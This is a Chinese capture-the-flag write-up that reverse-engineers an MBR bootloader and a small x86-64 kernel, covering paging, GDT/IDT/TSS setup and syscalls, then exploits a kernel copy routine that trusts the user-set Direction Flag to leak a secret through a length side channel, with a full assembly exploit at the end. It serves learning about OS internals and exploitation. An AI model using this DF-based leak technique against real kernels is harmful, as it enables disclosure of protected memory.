前言 本文与giacomo 共同撰写。
文件分析 题目给了一个硬盘的二进制文件,通过第一扇区结尾的0x55 0xAA可以判断出这就是MBR扇区。硬盘一共包含6个扇区。BIOS会将MBR扇区加载至0x7c00位置运行,直接拖入IDA,rebase后静态分析。若要动态分析,则需要一些小技巧。
如果用gdb连接qemu从一开始调试,明显不对劲,这是因为此时系统正在实模式下运行,而gdb反汇编指令则是按64位指令反汇编,所以识别错了指令。若用set architecture i8086,则会导致调试客户端与服务端的不匹配,也不能正常调试。在实模式下,使用bochs调试会是一个不错的方案。而在进入64位模式后,bochs作为x86 emulator就不能继续调试,此时qemu可以调试。所以可以gdb连接qemu后下断点到进入64位模式的位置,就能正常调试了。
bootloader 其实这里 有源码,不过出于学习目的,我们还是逆向分析一下
实模式 首先,程序将硬盘中的内容加载进内存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 sub_7C00 proc near xor bx, bx mov ds, bx mov ss, bx mov bp, 7C0h mov dh, 0 mov cx, 1 loc_7C0E: add cl, 1 jb short loc_7C1F add bp, 20h mov es, bp mov ax, 201h int 13h ; DISK - READ SECTORS INTO MEMORY ; AL = number of sectors to read, CH = track, CL = sector ; DH = head, DL = drive, ES:BX -> buffer to fill ; Return: CF set on error, AH = status, AL = number of sectors read jnb short loc_7C0E
因为第一扇区是MBR扇区,已经被BIOS加载进0x7c00,所以程序从第二扇区开始加载进0x7e00处,直到读取失败,CF=1,在int 13h后不再继续向上跳转,而是向下执行。
1 2 3 4 5 loc_7C1F: mov di, 800h xor al, al lea cx, ds:7400h rep stosb byte ptr es:[di], al
注意到es段寄存器的位置在于内存上加载的内存数据的结尾,di为0x800的偏移,即从0x9000处开始清零长度为0x7400的内存
1 2 cli lgdt fword ptr ds:unk_7CAB
加载GDT,具体的段描述符内容我们可以在bochs中使用info gdt
查看
1 2 3 Global Descriptor Table (base=0x0000000000007ca9, limit=15): GDT[0x0000]=Code segment, base=0x00a9000f, limit=0x0000c3a4, Execute-Only, Conforming, 16-bit GDT[0x0008]=Code segment, base=0x00000000, limit=0x00000fff, Execute/Read, Non-Conforming, 64-bit
gdt在index为0处的描述符被定义为空描述符,所以我们可以不必在意其中GDT[0]的内容,只需要看GDT[8]处定义了一个基址为0的64位代码段。
1 2 3 4 5 6 7 8 mov eax, 1000h mov word ptr [eax], 2003h mov word ptr ds:1FF8h, 2003h mov cr3, eax mov word ptr ds:2000h, 3003h mov word ptr ds:2008h, 4003h mov word ptr ds:2FF0h, 3003h mov word ptr ds:2FF8h, 4003h
页表相关
1 2 3 4 5 6 7 8 9 10 mov di, 3000h xor ax, ax mov cx, 400h loc_7C64: mov byte ptr [di], 83h mov [di+3], ax add di, 8 inc ax inc ax loop loc_7C64
页表相关
1 2 3 mov eax, cr4 or al, 10100011b ; PGE PAE PVI VME mov cr4, eax
启用分页(当然因为此时还在实模式,分页只是被设置启用,而并没有生效。需要进入保护模式后才会生效)
1 2 3 4 mov ecx, 0C0000080h ; IA32_EFER rdmsr or ax, 100000000b ; LME wrmsr
设置IA32_EFER寄存器的LME位为1,从而启用四层页表,为接下来进入IA-32e mode做准备
1 2 3 mov eax, 80000011h ; PG ET PE mov cr0, eax jmp far ptr 8:7C94h
在执行mov cr0, eax
时,因为IA32_EFER.LME==1,设置CR0.PG=1会使IA32_EFER.LMA=1,此时IA-32e mode启用(详见Intel开发者手册Volume 3 10.8.5)。然后通过far jmp设置cs为8,从0x7c94开始执行64位指令。
等等,我们前面的GDT[8]的limit分明是0xfff,这样不是访问越界了吗?
–并不是这样,在IA-32e mode下,段机制的作用很有限,并且处理器不再进行越界检查(详见Intel开发者手册Volume 3 3.2.4)
我看书上写进保护模式还需要开启a20 gate啊?
–新的Intel 64 CPU默认解锁地址线,不需要开启操作。
保护模式 我们前面没有分析页表的内容,这是因为我们现在可以使用pt
查看内存页(需要gdb-pt-dump插件),和monitor info tlb
查看线性地址到物理地址的映射关系。页表:
1 2 3 4 5 Address : Length Permissions 0x0 : 0x80000000 | W:1 X:1 S:1 UC:0 WB:1 0x7f80000000 : 0x40000000 | W:1 X:1 S:1 UC:0 WB:1 0xffffff8000000000 : 0x80000000 | W:1 X:1 S:1 UC:0 WB:1 0xffffffff80000000 : 0x40000000 | W:1 X:1 S:1 UC:0 WB:1
1 2 3 4 5 6 7 8 mov esi, 7E00h mov rdi, 0FFFFFFFF80200000h lodsq rax, qword ptr [rsi] stosq qword ptr [rdi], rax push rdi mov rcx, rax rep movsb byte ptr [rdi], byte ptr [rsi] retn
0x7e00处存储了接下来代码的长度,然后将对应长度的数据从0x7e08拷贝至0FFFFFFFF80200008h开始的位置,然后通过retn跳转到对应位置执行,进入系统内核。我们ida rebase一下继续分析
kernel 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 sub_FFFFFFFF80200008 proc near or byte ptr ds:1000h, 4 or byte ptr ds:2000h, 4 mov edi, 5000h mov eax, 8007h stosq mov eax, 9007h stosq mov ecx, 1FEh mov eax, 3 loc_FFFFFFFF80200035: stosq add rax, 1000h loop loc_FFFFFFFF80200035 mov dword ptr ds:3000h, 5007h mov rax, cr3 mov cr3, rax
改页表。新页表:
1 2 3 4 5 6 7 8 9 Address : Length Permissions 0x0 : 0x2000 | W:1 X:1 S:0 UC:0 WB:1 0x2000 : 0x7fffe000 | W:1 X:1 S:1 UC:0 WB:1 0x7f80000000 : 0x2000 | W:1 X:1 S:0 UC:0 WB:1 0x7f80002000 : 0x3fffe000 | W:1 X:1 S:1 UC:0 WB:1 0xffffff8000000000 : 0x2000 | W:1 X:1 S:0 UC:0 WB:1 0xffffff8000002000 : 0x7fffe000 | W:1 X:1 S:1 UC:0 WB:1 0xffffffff80000000 : 0x2000 | W:1 X:1 S:0 UC:0 WB:1 0xffffffff80002000 : 0x3fffe000 | W:1 X:1 S:1 UC:0 WB:1
1 2 3 4 5 xor rdi, rdi mov ecx, 2000h xor al, al rep stosb byte ptr [rdi], al lgdt fword ptr cs:unk_FFFFFFFF80200120
从逻辑地址0处清零0x2000长度的内存。加载新的GDT。分析新的GDT内容可得:
1 2 3 4 5 6 0: 空 8: 64-bit Code Segment, DPL=0, Non-Conforming, Readable 10: 64-bit Data Segment, DPL=0, Writable 18: 64-bit Code Segment, DPL=3, Non-Conforming, Readable 20: 64-bit Data Segment, DPL=3, Writable 28: TSS Descriptor
1 2 3 4 5 6 7 8 9 mov ax, 10h mov ss, eax mov ds, eax mov fs, eax mov es, eax mov gs, eax push 8 push 0FFFFFFFF8020007Ah retfq
将ss, ds, fs, es, gs设为0x10,cs设为8,继续向下执行
1 lidt fword ptr cs:unk_FFFFFFFF802007A0
加载IDT,可以点进去直接看,也可以monitor info registers -a
看 idtr 是 IDT= ffffffff80200790 00000010
1 2 3 4 5 6 7 8 segment selector: 8 # 中断程序所在的段选择符 offset: 0xffffffff8020012a type: 64-bit Interrupt Gate p: 1 DPL: 3 对应的段为 8: 64-bit Code Segment, DPL=0, Non-Conforming, Readable
因此发现只实现了int 0
1 2 mov ax,0x28 ltr ax # 任务寄存器 TR
切换 tr 寄存器变成以下内容
1 TR =0028 ffffffff802007aa 00000065 00008900 DPL=0 TSS64-avl
从 IO读0x1000字节(用户程序)到内存地址0开始的位置上
1 2 3 4 5 6 7 8 9 10 xor rdi,rdi mov ecx,0x1000 mov dx,0x3fd in al,dx test al,0x1 je 0xffffffff80200090 sub dl,0x5 in al,dx stos BYTE PTR es:[rdi],al loop 0xffffffff80200090
回到用户态 cs=0x1b ss=0x23 sp=0x2000 ip=0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 mov ax,0x23 mov ds,eax mov es,eax mov fs,eax mov gs,eax xor rax,rax xor rbx,rbx xor rcx,rcx xor rdx,rdx xor rsi,rsi xor rdi,rdi xor rbp,rbp xor r8,r8 xor r9,r9 xor r10,r10 xor r11,r11 xor r12,r12 xor r13,r13 xor r14,r14 xor r15,r15 push 0x23 push 0x2000 push 0x2 push 0x1b push 0x0 iretq
跳转至用户程序执行
漏洞分析 通过以上的分析我们知道这是一个用户态程序通过系统调用的漏洞泄露内核数据的题目。int 0对应的handler是0xffffffff8020012a,分析可得是根据rax的值跳转到不同系统调用的过程。我们逐个分析系统调用
1 2 3 4 5 6 7 8 0: exit_handler 1: printstr_handler 2: getchar_handler 3: put_buf1 4: mov_buf1_to_buf2 5: append_buf2_to_buf1 6: print_banner 7: clean_buf2
buf1的长度存储在0xFFFFFFFF8020044C,内容存储在由0xFFFFFFFF80200454开始的0x100字节内。buf2不存储长度,从0xFFFFFFFF80200554开始存储0x100字节。
发现漏洞点在于操作buf1, buf2时,拷贝内存内容使用的是rep movsb
,而在循环过程中地址是增加/减少取决于CPU的DF(Direction Flag)。而DF在用户态下就能被std
, cld
指令设置。
flag存储在buf1前面的位置,利用反方向的rep movsb
,我们可以通过syscall_4将flag拷贝到buf2前面的位置,再通过syscall_5使flag的对应字节覆盖buf1前部存储长度的位置,最后利用buf1长度不能超过0x100的特点,通过向syscall_3传入不同长度得到的返回值侧信道得到该字节的值。
exp 官方wp给出了poc,稍微改一下就能得到完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 put_buf1 equ 3 mov_buf1_to_buf2 equ 4 append_buf2_to_buf1 equ 5 [org 0x0 ] [bits 64 ] test: mov rdi,buffer mov ecx,dword [idx] mov eax,put_buf1 int 0x0 std mov eax,mov_buf1_to_buf2 int 0x0 cld mov rdi,buffer mov ecx,dword [idx] sub ecx,9 mov eax,put_buf1 int 0x0 std mov ecx,dword [idx] mov eax,append_buf2_to_buf1 int 0x0 cld mov ecx,256 test_loop: sub ecx,1 mov r9,rcx mov rdi,buffer mov eax,put_buf1 int 0x0 cmp rax,-1 jz test_loop mov ecx,256 sub rcx,r9 cmp ecx,1 je fin mov eax, dword [idx] mov byte [flag+eax-18 ],cl inc eax mov dword [idx], eax clear: mov eax,7 int 0x0 mov ecx,0x100 mov eax,append_buf2_to_buf1 int 0x0 jmp test fin: mov rsi,flag mov edi,dword [idx] sub edi,19 add rsi,rdi mov eax,1 std int 0x0 exit: hlt buffer: times 255 db "a" db 0 flag: times 128 db 0 idx dd 18
参考资料 DASCTF6月二进制专项赛官方wp
intel开发者手册